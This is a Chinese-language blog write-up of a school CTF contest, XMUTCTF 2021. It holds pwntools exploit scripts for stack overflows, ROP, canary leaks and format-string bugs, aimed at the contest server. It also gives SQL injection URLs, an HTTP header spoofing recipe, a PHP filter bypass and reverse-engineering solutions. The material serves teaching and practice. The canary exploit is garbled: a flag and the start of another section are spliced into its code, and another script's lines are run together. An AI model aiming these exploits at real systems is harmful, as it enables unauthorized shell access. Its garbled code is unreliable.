XMUTCTF 2021 Writeup 0x2

Rank2

某校校赛,放到博客上水水,(为什么要水?题目很基础,对CTF感兴趣的可以看看)

文章篇幅过长,分为0x1和0x2

Binary

净土截断

连接nc输入BV号取得shell,cat /flag即可

呼叫10086

IDA打开程序,发现有个判断条件,只要把v5等于10086,就会执行 system('/bin/bsh')

img

双击v5,发现它在buf变量内存下面,所以只需将buf溢出到 var_c 覆盖为10086

img

exp如下

1
2
3
4
5
6
from pwn import *
r = remote('49.233.105.150',10008)
payload = 'a' * 16 + p32(10086)
r.recvuntil("--baby stackoverflow--")
r.sendline(payload)
r.interactive()

你会复制吗?

img

栈溢出题,buf为40,填到44后跟上/bin/sh的地址即可

img

exp如下

1
2
3
4
5
6
from pwn import *
r = remote('49.233.105.150',10007)
payload = 'A' * 44 + p32(0x080485BC)
r.recvuntil("stack")
r.sendline(payload)
r.interactive()

0x6873

拖到IDA反编译,程序先调用ag()函数,然后调用vulnerable_function()函数

img

分析ag()函数和vulnerable_function()函数,发现有个read()溢出

img

img

然后构造ROP,找到system和sh的地址

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#通过IDA观察,需要我们输入内容,然后用strncmp对buf和s进行比较,不相等就退出
sh = remote("49.233.105.150",10000)
sys_addr = 0x8048400
#sys_addr2 = 0x0804A060
hit = 0x0804A04C
shh = 0x0804A02C
payload = 'a'*140 + p32(sys_addr) + p32(1) + p32(shh)
sh.recvuntil("1.5$ 2.10$")
sh.sendline("1")
sh.recvuntil("Please enter the number of times you want to draw")
#sh.sendline("0x6873")
sh.sendline("32")
sh.recvuntil("I'm sorry, you paid the money, but you can't draw")
sh.sendline(payload)

check

通过IDA观察,需要我们输入内容,然后用strncmp对buf和s进行比较,不相等就退出

img

strncmp特性遇到\x00就停止,所以只需输入yi后面内容任意,然后程序将buf[9]传给vuln函数执行,判 断是否等于70,也就是字符’F’,最后利用read读取内容,这里read存在栈溢出

img

写Python脚本运行得到flag

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = remote("49.233.105.150",10001)
sh_addr = 0x804867B
#elf = ELF('/home/litong/overflow')
payload1 = "yi\x00GGGGGGFFF"
sh.recvuntil("Input:")
sh.sendline(payload1)
payload2 = 'a'*88 + 4*'b' + p32(sh_addr)
sh.recvuntil("correct")
sh.sendline(payload2)
sh.interactive()

可爱的金丝雀

本题考的是canary保护,通过IDA也看到在main函数结束时,会取出canary的值进行比较不对就调用退出函数

img

分析程序,发现有两个read(),我们可以通过第一个read获取canary值,然后第二个read()写入canary 值利用溢出调用shell函数

img

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
io=remote("49.233.105.150",10002)
io.recvuntil("canary is cute!\n")
payload = 'a' * 0x208 + 'b'
io.send(payload)
flag{2e32b416-f7e9-44ee-851c-65582e577022}
Fsb
IDA分析代码可知,程序会随机生成一个数赋给num,然后让我输入v5的值和num比较,相等就执行
system("/bin/sh")
io.recvuntil(b'b')
canary = b'\x00' + io.recv(7)
payload = 'a'*0x208 + canary + 'a'*8 +p64(0x04007a7)
io.send(payload)
io.interactive()

Fsb

IDA分析代码可知,程序会随机生成一个数赋给num,然后让我输入v5的值和num比较,相等就执行 system("/bin/sh")

img

观察有read()读取内容到buf,用printf打印出来,可以利用字符串格式化漏洞修改num的值,后面v5输入我们修改的值即可调用system

1
2
3
4
5
6
7
8
from pwn import *
sh = remote('49.233.105.150',10003)
payload = p32(0x0804A04C) + "%5$n"
sh.recvuntil("--easy fsb--")
sh.sendline(payload)
sh.recvuntil("good!")
sh.sendline("4")
sh.interactive()

又小又大的pwn

通过分析程序可知,有两处检查,一个是check判断code[1]==2和code[0]==4096

img

img

程序调用了两次read和printf,说明可以利用两次格式化字符串漏洞,

思路是第一次修改code[1],第二次修改code[0],最后利用vuln的栈溢出实现调用system,由于没有找 到’sh’或’/bin/bash’之类的字符串,所以在第二次修改code[0]的值时,可以将其修改成0x6873,写入时从 低到高写入hs,读取时高到低读取sh

1
2
3
4
5
6
7
8
0x68
104
0x73
115
chr(104)
'h'
chr(115)
's'

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
sh = remote("49.233.105.150",10005)
code_0 = 0x0804A04C
code_1 = 0x0804A050
payload1 = fmtstr_payload(5,{code_1:2})
sh.recvuntil("canary is hard!")
sh.sendline(payload1)
payload2 = fmtstr_payload(5,{code_0:0x6873})
sh.recvuntil("check right")
sh.sendline(payload2)
sh.recvuntil("good!")
sys_addr = 0x8048410
payload3 = 'a'*116 + 'a'*4 + p32(sys_addr) + p32(0) + p32(code_0)
sh.sendline(payload3)
sh.interactive()

Web

easy_sql

img

用户名:admin,密码:随便输

easy_sql_2

img

登录:admin/admin,来到一个search页面,输入admin回显值

img

注入点:http://49.233.105.150:5004/search.php?name=admin' and 1=2--+

查列(三列):http://49.233.105.150:5004/search.php?name=admin' and 1=1 order by 1,2,3--+

最后上sqlmap,跑出来flag

easy_exec

img

简单rce,发现输入flag会回显

img

但这并不影响我们继续操作,ls跟目录发现有个flag文件

img

查看后发现是个假的flag

img

1
flag{fake_flag}

img

老样子搜一下flag,最后解出来得

img

easy_HTTP

img

查看robots.txt,发现hide.php文件,直接构造HTTP头

1
2
3
User-Agent:me7eorite browser
Referer:https://google.com
X-Forwarded-For:127.0.0.1

flag{c71b47-723409ac75-d3e6b28f-78b372ce}

easy PHP

img

审计题,当c1=123的时候,弹到num,此时num如果为1则回回显sorry,但是如果num近似于1,即0.999999999999999999999999999,则会产生浮点漏洞,此时strstr被绕过了,然后num自然而然为1,最后发现file参数如果为flag会替换成一个空值,此时双写flag即可

1
http://49.233.105.150:5007/?c1=123&num=0.9999999999999999999999999999&file=flflagag.php

img

Reverse

lucky

img

如果v4为999,输出flag

idaPro

运行程序,要我们输入值

img

PEiD打开,发现有壳

img

脱一下UPX的壳,然后拉入IDA

img

最后把73757065726475706572636f6f6c677579的值转成字符串

superdupercoolguy

发现上面这串就是flag (o_ _)ノ

flag{superdupercoolguy}

xor

一题简单的异或

GLOBAL

img

手动转成十进制…

1
2
str1 = ['f',0xA,'k',0xC,'w',0x1A,0x7F,0x16,'o',0,'u',0xC,'=Du',0x11,'t',0xD,'d',0xE,'{',0x13,'f',7,'X:O;]l',0xD,'j',0x17]
str1 = [102,10,107,12,119,26,127,22,111,0,117,12,61,68,117,17,116,13,100,14,123,19,102,7,88,58,79,59,93,108,13,106,23]

刚开始转成字符串的时候

img

1
2
#__cstring:0000000100000F6E 0000000A C f\nk\fw\x1A\x7F\x16o
#__cstring:0000000100000F78 00000018 C u\f=Du\x11t\rd\x0E{\x13f\aX:O;]l\rj\x17

没注意到有个0截断字符串,题目死活做不对

img

最后手动转的时候,把0给补上了flag才正确(o_ _)

img

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#HEADER:00000001000004B4 0000000E C /usr/lib/dyld
#HEADER:0000000100000530 0000001B C /usr/lib/libSystem.B.dylib
#__cstring:0000000100000F6E 0000000A C f\nk\fw\x1A\x7F\x16o
#__cstring:0000000100000F78 00000018 C u\f=Du\x11t\rd\x0E{\x13f\aX:O;]l\rj\x17
#__cstring:0000000100000F90 00000012 C Input your flag:\n
#__cstring:0000000100000FA2 00000008 C Success
#__cstring:0000000100000FAA 00000007 C Failed
#'f',0Ah ; DATA XREF: __data:_global↓o
#'k',0Ch,'w',1Ah,7Fh,16h,'o',0
#'u',0Ch,'=Du',11h,'t',0Dh,'d',0Eh,'{',13h,'f',7,'X:O;]l',0Dh,'j',17h
#str1 = ['f',0xA,'k',0xC,'w',0x1A,0x7F,0x16,'o',0,'u',0xC,'=Du',0x11,'t',0xD,'d',0xE,'{',0x13,'f',7,'X:O;]l',0xD,'j',0x17]
str1 = [102,10,107,12,119,26,127,22,111,0,117,12,61,68,117,17,116,13,100,14,123,19,102,7,88,58,79,59,93,108,13,106,23]
print("{0}\n".format(len(str1)))
for i in range(1,len(str1)):
print(chr((str1[i]) ^ (str1[i-1])),end="")

红宝石

这题。。。。要求求Time.now,自己看了下,考的Ruby。。本地没环境,好在语法简单能看懂,源码如下require ‘openssl’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import hmac
import hashlib
import _thread
from hashlib import sha1
def hash_hmac(key, code, sha1):
hmac_code = hmac.new(key.encode(), code.encode(), sha1)
return hmac_code.hexdigest()
keygen = "a0ddd1ba75209bc51496480f3d540937bbac9ff9"
key = "a0ddd1ba75209bc51496480f3d540937bbac9ff9"
key1 = "a0ddd1ba75209bc51496480f3d540937bbac9ff9"
#先把日历sha1,然后再把sha1后的日历在跟URL进行hmacsha1(sha1后的日历为密钥)
URL = "%E4%BD%A0%E7%9C%9F%E7%9A%84%E7%90%86%E8%A7%A3%E7%BA%A2%E5%AE%9D%E7%9F%B3%E7%9A%84%E7%BE%8E%E4%B8%BD%E5%90%97"
flag1 = ""
flag2 = ""
flag3 = ""
#2021-11-27 12:54:53 +0000
def enSha1(data):
sha1 = hashlib.sha1()
sha1.update(data.encode('utf-8'))
sha1_data = sha1.hexdigest()
return sha1_data
for i in range(21,22):
for j in range(11,12):
for k in range(20,31):
for u in range(0,25):
for r in range(0,61):
for o in range(0,61):
if(u<10): date = "20" + str(i).zfill(2) + "-" + str(j).zfill(2) + "-" + str(k).zfill(2) + ' ' + str(u).zfill(2) + ":" + str(r).zfill(2) + ":" + str(o).zfill(2) + " +0800" else: date = "20" + str(i).zfill(2) + "-" + str(j).zfill(2) + "-" + str(k).zfill(2) + ' ' + str(u).zfill(2) + ":" + str(r).zfill(2) + ":" + str(o).zfill(2) + " +0800" print(date) print(str(hash_hmac(enSha1(date),URL, sha1))) if(str(hash_hmac(enSha1(date),URL, sha1)) == key): flag2 = date flag3 = str(hash_hmac(enSha1(date),URL, sha1)) while(1): print("[*]PASS TIME! -> {0}".format(flag2))
print("[*]HMAC SHA1! -> {0}".format(flag3))
print("[*]DONE!")

Login

题目给出了 login.dex,那我们直接把dex转成jar,得到dex2jar.jar,然后拖到jd-gui进行分析

img

第一眼就瞄到了一串md5,直接解密得到 s878926199a(flag)

Maze

img

原题

1
2
3
4
5
* 0 1 1 1
1 0 0 0 1
1 1 1 0 1
1 0 0 0 1
# 0 1 1 1

走迷宫就行

作者

IceCliffs

发布于

2021-10-27

更新于

2023-10-28

许可协议

评论